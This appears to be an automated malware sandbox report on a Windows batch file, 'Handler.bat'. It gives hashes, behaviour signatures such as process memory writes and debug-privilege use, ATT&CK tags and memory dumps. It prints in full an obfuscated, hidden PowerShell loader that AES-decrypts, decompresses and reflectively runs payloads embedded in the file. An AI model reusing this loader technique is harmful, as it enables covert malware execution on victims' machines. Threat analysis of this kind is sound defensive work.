6d886767f487cd0bc1ee29c899540e2ccfe6f1d3253ea629acd8d397a0a84faa

Analysis

max time kernel
18s
max time network
18s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
18-08-2024 13:35

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General

Target

Release/Handlers/Handler.bat
Size

12.7MB
MD5

e154d92aa7ecd7728940f32bb2c82cc6
SHA1

b004e191ae993b3deab2d77c6f99c64e5de55672
SHA256

37be53a96145cd6ad7557e95d85a256377af9d9e126538a4733ebde178254cc5
SHA512

b8b822fc4d8295a59700b7750fff7841f56ed877207e622dd7d7b0435ce737f212d5f754c95f2329b87e83c1ae796b07724276473256d8787f0f87b1871121e4
SSDEEP

49152:Fh5PUtdFBcAJU7Ygqef4u6NE6BGzp3OtWxgusC7QG5r0Wn9O3oGpWJtPS1P8keqj:4

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

Handler.bat.exe

pid process

2372 Handler.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

2336 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

Handler.bat.exe

pid process

2372 Handler.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Handler.bat.exe

description pid process

Token: SeDebugPrivilege 2372 Handler.bat.exe

pid	process
2372	Handler.bat.exe

pid	process
2336	cmd.exe

pid	process
2372	Handler.bat.exe

description	pid	process
Token: SeDebugPrivilege	2372	Handler.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2336 wrote to memory of 2372	2336	cmd.exe	Handler.bat.exe
PID 2336 wrote to memory of 2372	2336	cmd.exe	Handler.bat.exe
PID 2336 wrote to memory of 2372	2336	cmd.exe	Handler.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe
  "Handler.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function AsZVG($IObBH){ $nGKhQ=[System.Security.Cryptography.Aes]::Create(); $nGKhQ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nGKhQ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nGKhQ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z1mnkXiSZPv8R2MpZKBD3X42qpFHtc3mYWmVqJ/jqFk='); $nGKhQ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oe8taAs+mjon3dfZMtxPIg=='); $IIMfj=$nGKhQ.CreateDecryptor(); $return_var=$IIMfj.TransformFinalBlock($IObBH, 0, $IObBH.Length); $IIMfj.Dispose(); $nGKhQ.Dispose(); $return_var;}function nroxc($IObBH){ $lXPBt=New-Object System.IO.MemoryStream(,$IObBH); $jzRog=New-Object System.IO.MemoryStream; $raowK=New-Object System.IO.Compression.GZipStream($lXPBt, [IO.Compression.CompressionMode]::Decompress); $raowK.CopyTo($jzRog); $raowK.Dispose(); $lXPBt.Dispose(); $jzRog.Dispose(); $jzRog.ToArray();}function Dtllp($IObBH,$RqHgm){ $OepAU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$IObBH); $TRlDt=$OepAU.EntryPoint; $TRlDt.Invoke($null, $RqHgm);}$pyjrp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat').Split([Environment]::NewLine);foreach ($FdSgb in $pyjrp) { if ($FdSgb.StartsWith('SEROXEN')) { $AdNpy=$FdSgb.Substring(7); break; }}$tMmhK=[string[]]$AdNpy.Split('\');$vypGp=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[0])));$asijd=nroxc (AsZVG ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($tMmhK[1])));Dtllp $asijd (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));Dtllp $vypGp (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Release\Handlers\Handler.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2372-5-0x000007FEF636E000-0x000007FEF636F000-memory.dmp

Filesize
4KB

Download
memory/2372-6-0x000000001B450000-0x000000001B732000-memory.dmp

Filesize
2.9MB

Download
memory/2372-7-0x0000000002830000-0x0000000002838000-memory.dmp

Filesize
32KB

Download
memory/2372-8-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2372-9-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2372-10-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2372-11-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download